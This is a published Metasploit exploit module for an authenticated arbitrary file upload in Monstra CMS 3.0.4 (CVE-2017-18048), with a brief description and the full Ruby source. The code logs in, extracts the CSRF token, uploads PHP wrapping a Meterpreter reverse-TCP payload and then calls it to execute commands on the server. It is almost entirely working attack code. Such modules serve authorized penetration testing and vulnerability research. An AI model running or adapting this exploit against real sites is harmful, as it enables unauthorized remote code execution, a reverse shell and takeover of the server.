Monstra CMS Authenticated Arbitrary File Upload

Monstra CMS 3.0.4 allows users to upload arbitrary files which leads to remote command execution on the remote server. An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. This Metasploit module was tested against Monstra CMS 3.0.4.


MD5 | 7dbdf348dbb60d19f6dfcb69ab4f25d5

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Monstra CMS Authenticated Arbitrary File Upload',
'Description' => %q{
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.
An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
This module was tested against MonstraCMS 3.0.4.
},

'Author' =>
[
'Ishaq Mohammed <[email protected]>', # Discoverer & Proof of Concept
'Touhid M.Shaikh <[email protected]>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE','2017-18048'],
['EDB','43348'],
['URL','https://blogs.securiteam.com/index.php/archives/3559'],
['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
],
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Monstra CMS 3.0.4', { }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 18 2017'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
])
end

def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
rescue
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end

if res and res.code != 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end

if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i
version = Gem::Version.new($1)
vulnVersion = Gem::Version.new('3.0.4')
vprint_status("Monstra CMS: #{version}")

if version > vulnVersion
return CheckCode::Safe
elsif version == vulnVersion
return CheckCode::Appears
elsif version < vulnVersion
return CheckCode::Detected
end
end
end

def uri
target_uri.path
end

def login
res = nil
vprint_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'admin', 'index.php'),
'vars_post' => {
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'login_submit' => 'Log+In'
}
})
cookies = res.get_cookies

fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'admin' '/index.php'),
'cookie' => cookies
})
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

# if we redirect to core_welcome then we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end

def exploit
#Login Function Execute and Return Cookies
cookies = login

#Random payload name.
pay_name = "#{rand_text_alpha(5..10)}.PHP"


# Payload Gen.
evilbyte = "<?php #{payload.encoded}; ?>"

# Request for CSRF token for file upload.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'admin', '/index.php'),
'vars_get' => {'id' => 'filesmanager'},
'method' => 'GET',
'cookie' => cookies
})

# Grabbing CSRF token from body
/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF-Token for File Upload : #{csrf}")

# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
data = post_data.to_s

vprint_status("Trying to upload file #{pay_name} with malicious content....")
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'admin', '/index.php'),
'vars_get' => {'id' => 'filesmanager'},
'method' => 'POST',
'cookie' => cookies,
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

# Cleanup delete payload after get meterpreter.
register_files_for_cleanup(pay_name)


# Execute our payload simply call to payload.
print_status("Executing Payload " )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
})

end
end

Related Posts